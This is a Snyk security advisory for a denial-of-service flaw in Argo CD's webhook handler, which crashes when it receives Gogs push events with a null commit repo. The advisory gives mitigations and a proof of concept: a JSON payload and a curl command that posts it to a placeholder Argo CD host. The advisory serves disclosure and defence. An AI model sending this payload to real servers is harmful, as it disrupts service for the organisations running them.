Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for github.com/argoproj/argo-cd/util/webhook
.
Affected versions of this package are vulnerable to Improper Validation of Function Hook Arguments in the /api/webhook
endpoint via the affectedRevisionInfo()
function. An attacker can cause the server process to crash and disrupt service availability by sending a Gogs push event whose JSON field commits[].repo
is not set or is null.
This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.
Gogs payload:
{
"ref": "refs/heads/master",
"before": "0000000000000000000000000000000000000000",
"after": "0a05129851238652bf806a400af89fa974ade739",
"commits": [{}]
}
Push event:
curl -k -v https://argocd.example.com/api/webhook \
-H 'X-Gogs-Event: push' \
-H 'Content-Type: application/json' \
--data-binary @/tmp/payload-gogs.json